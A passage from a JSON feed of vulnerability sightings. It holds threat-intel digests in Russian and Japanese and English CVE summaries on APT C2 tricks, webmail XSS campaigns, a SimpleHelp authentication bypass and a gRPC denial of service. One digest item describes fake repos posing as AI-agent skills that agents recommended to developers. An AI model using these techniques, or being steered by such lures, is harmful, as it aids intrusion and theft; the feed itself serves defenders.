\u0447\u0435\u0440\u0435\u0437 WebRTC, \u0441\u043a\u0440\u044b\u0432\u0430\u044f \u0441\u0438\u0433\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0442\u0440\u0430\u0444\u0438\u043a \u0432 API-\u0437\u0430\u043f\u0440\u043e\u0441\u0430\u0445 Trello. \u0412\u041f\u041e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043e \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0438 \u0434\u0438\u043f\u043b\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0446\u0435\u043b\u0438 \u0432 \u0420\u0424. \n\n\ud83d\udfe2\u041e\u0431\u0437\u043e\u0440 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 APT TA458, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442 \u0431\u0443\u043a\u0435\u0442 XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0432\u0435\u0431-\u043f\u043e\u0447\u0442\u0435 Zimbra, mDaemon, Roundcube, SOGo \u0438 Kerio, \u0447\u0442\u043e\u0431\u044b \u043a\u0440\u0430\u0441\u0442\u044c \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0443 \u0432\u043e\u0435\u043d\u043d\u044b\u0445 \u0438 \u0433\u043e\u0441\u043e\u0440\u0433\u0430\u043d\u043e\u0432 \u0432 \u042e\u0436\u043d\u043e\u0439 \u0415\u0432\u0440\u043e\u043f\u0435. \n\n\ud83d\udfe2\u0428\u043f\u0438\u043e\u043d\u0441\u043a\u0438\u0439 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a \nProject CAV3RN, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 APT OilRig/APT34, \u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0442\u0440\u0430\u0444\u0438\u043a C2 \u0432 \u0441\u043e\u0431\u044b\u0442\u0438\u044f\u0445 \u043a\u0430\u043b\u0435\u043d\u0434\u0430\u0440\u044f Outlook \u0447\u0435\u0440\u0435\u0437 Microsoft Graph API, \u0430 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u0430\u043d\u0430\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 DNS-\u0437\u0430\u043f\u0440\u043e\u0441\u044b. \u041a\u0430\u043c\u043f\u0430\u043d\u0438\u044f \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u0430 \u043d\u0430 \u0418\u0437\u0440\u0430\u0438\u043b\u044c.\n\n\ud83d\udd34\u041e\u0431\u0437\u043e\u0440 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 FrostArmada \u043f\u043e \u043f\u043e\u0434\u043c\u0435\u043d\u0435 DNS \u043d\u0430 \u0448\u043b\u044e\u0437\u0430\u0445 Wi-Fi \u0432 \u043e\u0442\u0435\u043b\u044f\u0445 \u0438 \u043d\u0430 \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u044f\u0445, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0434\u0441\u043e\u0432\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u043b\u044c\u0448\u0438\u0432\u044b\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0432\u0445\u043e\u0434\u0430 Microsoft 365 \u0438 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c MFA. \u0426\u0435\u043b\u0438 \u0430\u0442\u0430\u043a\u0438 \u2014 \u0432 \u0421\u0428\u0410, \u0418\u043d\u0434\u0438\u0438 \u0438 \u0421\u0430\u0443\u0434\u043e\u0432\u0441\u043a\u043e\u0439 \u0410\u0440\u0430\u0432\u0438\u0438. \n\n\ud83d\udfe0\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043e\u0437\u0434\u0430\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 7600 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0440\u0435\u043f\u043e GitHub \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 AgentBaiting. \u0411\u043e\u043b\u0435\u0435 800 \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0434 \u043d\u0430\u0432\u044b\u043a\u0438 \u0418\u0418-\u0430\u0433\u0435\u043d\u0442\u043e\u0432 \u0438 \u041c\u0421\u0420-\u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u044f \u0438\u043d\u0444\u043e\u0441\u0442\u0438\u043b\u0435\u0440. \u0424\u0438\u0448\u0438\u043d\u0433 \u0443\u0431\u0435\u0436\u0434\u0430\u0435\u0442 \u0430\u0433\u0435\u043d\u0442\u043e\u0432 \u043d\u0435 \u0445\u0443\u0436\u0435, \u0447\u0435\u043c \u043b\u044e\u0434\u0435\u0439 \u2014 \u043e\u0442\u043c\u0435\u0447\u0435\u043d\u044b \u0441\u043b\u0443\u0447\u0430\u0438, \u043a\u043e\u0433\u0434\u0430 \u0430\u0433\u0435\u043d\u0442\u044b \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0438 \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043b\u0438 \u044d\u0442\u0438 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c. \n\n\ud83d\udfe2\u041d\u043e\u0432\u044b\u0439 Rust-\u0442\u0440\u043e\u044f\u043d\u0435\u0446 \u0433\u0440\u0443\u043f\u043f\u044b Chaos, msaRAT, \u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0441\u0432\u043e\u0438 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0438 C2, \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u00ab\u0431\u0435\u0437\u0433\u043e\u043b\u043e\u0432\u044b\u043c\u00bb Chrome \u0447\u0435\u0440\u0435\u0437 DevTools, \u0442\u0430\u043a \u0447\u0442\u043e \u0432\u0435\u0441\u044c \u0442\u0440\u0430\u0444\u0438\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0438\u0439 \u043e\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430. \n\n\ud83d\udd35\u041d\u043e\u0432\u0430\u044f \u0441\u0445\u0435\u043c\u0430 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430: \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u044f\u044e\u0442 BitLocker \u0434\u043b\u044f \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0438\u0441\u043a\u043e\u0432 \u0438 \u043f\u0435\u0447\u0430\u0442\u0430\u044e\u0442 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0437\u0430\u043f\u0438\u0441\u043a\u0438 \u043d\u0430 \u043e\u0444\u0438\u0441\u043d\u044b\u0445 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430\u0445. \u041f\u0440\u043e\u043d\u0438\u043a\u0430\u044e\u0442 \u0432 \u0441\u0435\u0442\u044c \u0447\u0435\u0440\u0435\u0437 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 RDP \u0438 \u043d\u0435\u0432\u0435\u0440\u043d\u043e \u0441\u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0411\u0414. \u0416\u0435\u0440\u0442\u0432\u044b \u043e\u0442\u043c\u0435\u0447\u0435\u043d\u044b \u0432 \u041b\u0430\u0442\u0438\u043d\u0441\u043a\u043e\u0439 \u0410\u043c\u0435\u0440\u0438\u043a\u0435.\n\n\ud83d\udd35\u0421\u0432\u0435\u0436\u0430\u044f RCE \u0432 SharePoint, CVE-2026-50522, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438.  \u041e\u043d\u0438 \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u044e\u0442 machine keys \u0434\u043b\u044f \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0434\u043e\u043b\u0433\u043e\u0441\u0440\u043e\u0447\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0430\u0442\u0447\u0438\u043d\u0433\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e. \n\n\ud83d\udfe3\u0426\u0435\u043f\u043e\u0447\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 HermeticReader \u0432 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0438 Adobe Acrobat \u0434\u043b\u044f Chrome, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u043c \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0432 329 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u0430\u0445 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0432\u0435\u0431-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u0437\u0430\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0441\u0435\u0441\u0441\u0438\u044e WhatsApp Web \u0436\u0435\u0440\u0442\u0432\u044b \u0438 \u043a\u0440\u0430\u0441\u0442\u044c \u0447\u0430\u0442\u044b, \u043a\u043e\u043d\u0442\u0430\u043a\u0442\u044b \u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f. \u0414\u0435\u0444\u0435\u043a\u0442 \u0443\u0441\u0442\u0440\u0430\u043d\u0451\u043d (CVE-2026-48294), \u043d\u043e \u044d\u0442\u043e\u0442 \u0432\u0435\u043a\u0442\u043e\u0440 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0442\u044c \u0432\u043e\u043b\u043d\u0443 \u0443\u0433\u043e\u043d\u043e\u0432 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u043e\u0432 \u0432 \u0440\u044f\u0434\u0435 \u0441\u0442\u0440\u0430\u043d.\n\n#\u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442 #APT @\u041f2\u0422", "creation_timestamp": "2026-07-28T00:00:39.457574Z"}, {"uuid": "eabf2917-0ffb-4b2a-96d0-4ddfccff305f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mrpk2v5u722v", "content": "SimpleHelp\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u304c\u60aa\u7528\u3055\u308c\u3001\u30de\u30eb\u30a6\u30a7\u30a2\u304c\u62e1\u6563\u3055\u308c\u308b\n\nCVE-2026-48558 \uff08CVSS\u30b9\u30b3\u30a210\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308b\u3053\u306e\u30d0\u30b0\u306f\u3001SimpleHelp\u306eOpenID Connect\uff08OIDC\uff09\u8a8d\u8a3c\u30d5\u30ed\u30fc\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u3001\u30ea\u30e2\u30fc\u30c8\u306e\u653b\u6483\u8005\u304c\u5b8c\u5168\u306b\u8a8d\u8a3c\u3055\u308c\u305f\u6280\u8853\u8005\u30bb\u30c3\u30b7\u30e7\u30f3\u3092\u53d6\u5f97\u3067\u304d\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\n\n\u3053\u306e\u554f\u984c\u306f\u3001OIDC\u8a8d\u8a3c\u304c\u8a2d\u5b9a\u3055\u308c\u3066\u3044\u308b\u5834\u5408\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u304cID\u30c8\u30fc\u30af\u30f3\u306e\u6697\u53f7\u7f72\u540d\u3092\u691c\u8a3c\u3057\u306a\u3044\u305f\u3081\u3001\u8a8d\u8a3c\u3055\u308c\u3066\u3044\u306a\u3044\u653b\u6483\u8005\u304c\u30ed\u30b0\u30a4\u30f3\u6642\u306b\u507d\u9020\u30c8\u30fc\u30af\u30f3\u3092\u9001\u4fe1\u3067\u304d\u3066\u3057\u307e\u3046\u3053\u3068\u304c\u539f\u56e0\u3067\u767a\u751f\u3057\u307e\u3059\u3002\n\n\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u306b\u63a5\u7d9a\u3055\u308c\u305fSimpleHelp\u30b5\u30fc\u30d0\u30fc\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b\u3053...", "creation_timestamp": "2026-07-28T13:42:18.036678Z"}, {"uuid": "20bccf90-efe7-49ba-8d07-bf3fe580a876", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mrpkmweqkk2v", "content": "\u653b\u6483\u8005\u306fSimpleHelp\u306e\u8106\u5f31\u6027CVE-2026-48558\u3092\u60aa\u7528\u3057\u3066TaskWeaver\u3068Djinn Stealer\u3092\u5c55\u958b\u3059\u308b\n\n\u6b63\u4f53\u4e0d\u660e\u306e\u653b\u6483\u8005\u304c\u3001\u6700\u8fd1\u660e\u3089\u304b\u306b\u306a\u3063\u305fSimpleHelp\u306e\u6700\u9ad8\u30ec\u30d9\u30eb\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8106\u5f31\u6027\u3092\u60aa\u7528\u3057\u3001\u3053\u308c\u307e\u3067\u5831\u544a\u3055\u308c\u3066\u3044\u306a\u304b\u3063\u305f2\u3064\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u30d5\u30a1\u30df\u30ea\u30fc\u3001TaskWeaver\u3068Djinn Stealer\u3092\u62e1\u6563\u3055\u305b\u3066\u3044\u308b\u3053\u3068\u304c\u78ba\u8a8d\u3055\u308c\u305f\u3002\n\n\u3053\u306e\u4fb5\u5165\u306f\u3001 CVE-2026-48558 \uff08CVSS\u30b9\u30b3\u30a2\uff1a10.0\uff09\u306e\u60aa\u7528\u306b\u3088\u308b\u3082\u306e\u3067\u3001OpenID Connect\uff08OIDC\uff09\u30d5\u30ed\u30fc\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u308b\u91cd\u5927\u306a\u8a8d\u8a3c\u30d0\u30a4\u30d1\u30b9\u306e\u8106\u5f31\u6027\u3067\u3059\u3002\u8a8d\u8a3c\u3055\u308c\u3066\u3044\u306a\u3044\u653b\u6483\u8005\u306f\u3001\u4efb\u610f\u306e...", "creation_timestamp": "2026-07-28T13:52:23.546288Z"}, {"uuid": "078ccf1d-a077-458e-8969-d7fa3b988970", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48144", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mrpn4xh5ni26", "content": "\ud83d\udccc CVE-2026-48144 - Improper Validation of Certificate with Host Mismatch vulnerability in Apache Thrift c_glib bindings.\n\nThis issue affects Apache Thrift: before 0.24.0... https://www.cyberhub.blog/cves/CVE-2026-48144", "creation_timestamp": "2026-07-28T14:37:06.847232Z"}, {"uuid": "5516fbd2-938a-4273-b071-24e66df63d40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48854", "type": "seen", "source": "https://gist.github.com/alon710/6e7bd6a50a933b1a1d184dc7dadb1e0f", "content": "# CVE-2026-48854: CVE-2026-48854: Unauthenticated Denial of Service via Resource Exhaustion in elixir-grpc Server\n\n> **CVSS Score:** 8.7\n> **Published:** 2026-08-25\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48854\n\n## Summary\nAn allocation of resources without limits or throttling vulnerability exists in the Elixir grpc server component when processing unary requests. Unauthenticated remote attackers can stream unbounded data payloads, bypassing standard timeout mechanisms and exhausting host BEAM VM memory, resulting in an immediate crash of the server node.\n\n## TL;DR\nUnauthenticated remote attackers can crash the Elixir gRPC server (BEAM VM) by sending unbounded unary requests or using a slow-trickle stream, bypassing default timeouts and causing out-of-memory crashes.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-770\n- **Attack Vector**: Network\n- **CVSS Score**: 8.7 (High)\n- **EPSS Score**: 0.00344 (Percentile: 26.92%)\n- **Impact**: Denial of Service (BEAM VM Crash)\n- **Exploit Status**: PoC Level\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- elixir-grpc/grpc server-side component\n- **grpc**: >= 0.3.1, < 1.0.0 (Fixed in: `1.0.0`)\n\n## Mitigation\n\n- Upgrade to elixir-grpc client and server packages version 1.0.0 or higher.\n- Restrict the maximum body size at the reverse proxy or ingress controller layer to prevent large payloads from reaching the backend Cowboy server.\n- Deploy WAF rules to detect and rate-limit HTTP/2 connections with missing grpc-timeout headers that exhibit slow transfer rates.\n\n**Remediation Steps:**\n1. Open your application mix.exs file.\n2. Remove legacy dependencies of the grpc library below version 1.0.0.\n3. Add {:grpc_server, \"~> 1.0.0\"} for server-side applications and {:grpc, \"~> 1.0.0\"} for client-side integrations.\n4. Run mix deps.get to update the ecosystem lock files.\n5. Configure the :max_body_size option under your GRPC.Server.Supervisor startup parameters if your endpoints process payloads larger than 4 MB.\n\n## References\n\n- [GHSA-q8gf-9rvj-gmgj Advisory](https://github.com/elixir-grpc/grpc/security/advisories/GHSA-q8gf-9rvj-gmgj)\n- [CVE-2026-48854 CVE Record](https://www.cve.org/CVERecord?id=CVE-2026-48854)\n- [NVD Vulnerability Details](https://nvd.nist.gov/vuln/detail/CVE-2026-48854)\n- [Release Tag v1.0.0](https://github.com/elixir-grpc/grpc/releases/tag/v1.0.0)\n- [OSV Advisory Metadata](https://osv.dev/vulnerability/EEF-CVE-2026-48854)\n- [EEF Erlef CNA Reference](https://cna.erlef.org/cves/CVE-2026-48854.html)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48854) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-26T09:31:56.119673Z"}, {"uuid": "5dea1cea-15c3-4636-84be-f5bce8c354da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48996", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mu4vxgclb72j", "content": "CVE-2026-48996\nThe Trilium note\u2011taking app lets users import notes, but the built\u2011in safety filter does not clean the note titles. A specially crafted note title can run hidden code when the map view is opened, and on the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-08-28T08:10:04.058458Z"}, {"uuid": "15786955-8b86-41ea-b2e5-775a118d4633", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48586", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/apache-security-advisory-av26-749", "content": "", "creation_timestamp": "2026-07-28T17:22:08.529355Z"}, {"uuid": "17da425b-154a-4f2e-8b00-ade2e425408a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48396", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrq32djaua2a", "content": "CVE-2026-48396 - Bridge | Incorrect Authorization (CWE-863)\nCVE ID : CVE-2026-48396\n \n Published : July 28, 2026, 5:58 p.m. | 41\u00a0minutes ago\n \n Description : Bridge is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the con...", "creation_timestamp": "2026-07-28T18:46:10.385587Z"}, {"uuid": "2a37768b-acae-4e23-9033-6622e24a5ba2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48395", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrq35d7c4r23", "content": "CVE-2026-48395 - Bridge | Untrusted Search Path (CWE-426)\nCVE ID : CVE-2026-48395\n \n Published : July 28, 2026, 5:58 p.m. | 41\u00a0minutes ago\n \n Description : Bridge is affected by an Untrusted Search Path vulnerability that could result in arbitrary code execution in the context...", "creation_timestamp": "2026-07-28T18:47:50.813361Z"}, {"uuid": "b98a874a-c1b6-4f1d-a0a8-ea218784c70f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48394", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrq3aijmvi2e", "content": "CVE-2026-48394 - Bridge | Out-of-bounds Write (CWE-787)\nCVE ID : CVE-2026-48394\n \n Published : July 28, 2026, 5:58 p.m. | 41\u00a0minutes ago\n \n Description : Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of ...", "creation_timestamp": "2026-07-28T18:49:37.571785Z"}, {"uuid": "4e939588-58ad-4f3a-953b-a408b06fb0a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48390", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrq3du7bp62q", "content": "CVE-2026-48390 - Bridge | Incorrect Authorization (CWE-863)\nCVE ID : CVE-2026-48390\n \n Published : July 28, 2026, 5:58 p.m. | 41\u00a0minutes ago\n \n Description : Bridge is affected by an Incorrect Authorization vulnerability that could result in privilege escalation. An attacker c...", "creation_timestamp": "2026-07-28T18:51:30.261127Z"}, {"uuid": "f96c9f9b-5c04-4d39-9fc6-a1eb3e74a0bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48374", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrq3hgxqso2o", "content": "CVE-2026-48374 - Bridge | Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (CWE-22)\nCVE ID : CVE-2026-48374\n \n Published : July 28, 2026, 5:58 p.m. | 41\u00a0minutes ago\n \n Description : Bridge is affected by an Improper Limitation of a Pathname to a R...", "creation_timestamp": "2026-07-28T18:53:30.447653Z"}, {"uuid": "e992f985-ac82-4224-b804-5f6c6ff971e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48391", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrq3lbwx2a27", "content": "CVE-2026-48391 - Bridge | Untrusted Search Path (CWE-426)\nCVE ID : CVE-2026-48391\n \n Published : July 28, 2026, 5:58 p.m. | 41\u00a0minutes ago\n \n Description : Bridge is affected by an Untrusted Search Path vulnerability that could result in arbitrary code execution in the context...", "creation_timestamp": "2026-07-28T18:55:39.459402Z"}, {"uuid": "756170f2-1d72-4bee-8336-a84e2e62de16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48393", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrq3pgddzj2o", "content": "CVE-2026-48393 - Bridge | Out-of-bounds Write (CWE-787)\nCVE ID : CVE-2026-48393\n \n Published : July 28, 2026, 5:58 p.m. | 41\u00a0minutes ago\n \n Description : Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of ...", "creation_timestamp": "2026-07-28T18:57:58.349225Z"}, {"uuid": "326bc994-f910-435a-be2f-f277da595dfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48392", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrq3ys5trx2i", "content": "CVE-2026-48392 - Bridge | Out-of-bounds Write (CWE-787)\nCVE ID : CVE-2026-48392\n \n Published : July 28, 2026, 5:58 p.m. | 41\u00a0minutes ago\n \n Description : Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of ...", "creation_timestamp": "2026-07-28T19:03:12.516404Z"}, {"uuid": "5caa8053-9d0e-49fd-8a01-ff2212299e24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48025", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrq4kugu4f2j", "content": "CVE-2026-48025 - nebula-mesh: Decrypted CA private key persists in heap after signing\nCVE ID : CVE-2026-48025\n \n Published : July 28, 2026, 6:17 p.m. | 23\u00a0minutes ago\n \n Description : nebula-mesh is a self-hosted control plane for Slack Nebula mesh virtual private network. Pri...", "creation_timestamp": "2026-07-28T19:13:18.789978Z"}, {"uuid": "c7fecce7-471a-4ea0-b01f-8e965459ae74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48388", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrq53ijlk62q", "content": "CVE-2026-48388 - Photoshop Installer | CWE-427: Uncontrolled Search Path Element\nCVE ID : CVE-2026-48388\n \n Published : July 28, 2026, 6:17 p.m. | 23\u00a0minutes ago\n \n Description : Adobe Photoshop Installer was affected by an Uncontrolled Search Path Element vulnerability that c...", "creation_timestamp": "2026-07-28T19:22:36.788737Z"}, {"uuid": "b7fb7349-9f2f-4606-ba2f-0929501f57a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48372", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrq67cdz3e22", "content": "CVE-2026-48372 - Format Plugins | Heap-based Buffer Overflow (CWE-122)\nCVE ID : CVE-2026-48372\n \n Published : July 28, 2026, 6:17 p.m. | 23\u00a0minutes ago\n \n Description : Format Plugins is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code...", "creation_timestamp": "2026-07-28T19:42:38.356654Z"}, {"uuid": "652f82a2-de1d-4d0f-a9bc-cd7b4a72b13c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mrqi7sydpc2q", "content": 